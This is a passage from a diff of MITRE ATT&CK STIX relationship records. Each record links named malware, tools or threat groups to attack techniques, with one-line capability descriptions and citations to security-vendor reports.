"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:39:48.410Z", + "id": "relationship--960accee-d5ea-4570-8697-84ada0cc266a", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.651Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences, Windows vault credential objects, or using [Mimikatz](https://attack.mitre.org/software/S0002).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3837e91f-47d5-4b30-b11b-76a91450c4ef", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather the IP address from the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9c4bbad5-4821-4059-b881-557c2a6db1a0", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses HTTP and HTTPS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--062b1f19-2afb-4bdc-908e-99594ff114cf", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.917Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the current timestamp of the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.733Z", + "id": "relationship--4d9b9464-1ade-45e9-9d7b-1c4c967abd81", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.392Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit vulnerabilities such as MS14-058.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b942cd55-6fed-49a1-ba05-af23836b518f", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.421Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) can download additional components from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--47880b58-f0e2-4898-a218-6df6333329ed", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to edit the Registry on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--53e09f15-3162-4480-8eb4-709e9c18d7fb", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.560Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) copied all targeted files to a directory called index that was eventually uploaded to the C&C server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--40082714-cb19-482f-9b6d-22031ef39926", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.945Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of capturing keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.078Z", + "id": "relationship--8447c89e-a743-430e-8ef5-41abfcde1a01", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) can obtain a list of all files and directories as well as logical drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b7226792-d4ae-472c-a407-853d56fc887d", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[T9000](https://attack.mitre.org/software/S0098) uses the Skype API to record audio and video calls. It writes encrypted data to %APPDATA%\\Intel\\Skype.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can create a new Registry key under HKEY_CURRENT_USER\\Software\\Classes\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f88fcb22-698b-4901-b894-a597192c2ba3", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.223Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Janicab](https://attack.mitre.org/software/S0163) used a valid AppleDeveloperID to sign the code to get past security restrictions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a", + "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "source_name": "Janicab", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) encodes data in hexadecimal format over the C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--578a4fd8-7c24-44b2-a7c3-1a47786d3c9a", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.452Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses Rundll32 to load a malicious DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c07df1c1-3ae1-4974-af37-9c1b04cef14a", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) installs itself as a service to maintain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d0b2e189-e764-44ec-9373-2f23212f6a45", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "source_name": "Kroll RawPOS Jan 2017", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + }, + { + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "source_name": "TrendMicro RawPOS April 2015", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to collect the current logged on user\u2019s username from a machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2ed969c0-be8f-43d1-8226-1009faefaa20", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--84eee49c-e49a-40d1-bdc1-89c613636ef9", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.917Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses HTTPS, HTTP, and DNS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0c225034-209b-4ea5-b311-65ee9e82f8fe", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.036Z", + "id": "relationship--19fce62c-ba70-4c20-bf74-0bca7886190c", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) allows adversaries to modify the way the \"beacon\" payload communicates. This is called \"Malleable C2\" in the [Cobalt Strike](https://attack.mitre.org/software/S0154) manual and is intended to allow a penetration test team to mimic known APT C2 methods.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + }, + { + "source_name": "GitHub Malleable C2", + "description": "Mudge, R. (2014, July 14). Github Malleable-C2-Profiles safebrowsing.profile. Retrieved June 18, 2017.", + "url": "https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Proton](https://attack.mitre.org/software/S0279) zips up files before exfiltrating them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e898c937-29b0-4e30-aeed-017ac3bbc3ed", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.724Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a built-in utility command for netstat, can do net session through PowerView, and has an interactive shell which can be used to discover additional information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--eb3a838e-f6dd-4e9b-8edf-fc652adde117", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.937Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[T9000](https://attack.mitre.org/software/S0098) can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4", + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "modified": "2019-03-25T16:51:54.146Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use WMI to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5ddcecdb-9e54-4e8e-b67b-64d24ec3264a", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--44b56e08-7cd1-442c-8806-c69bb65fd231", + "source_ref": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", + "source_name": "FireEye Bootkits", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using ICMP, TCP, and UDP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.928Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", 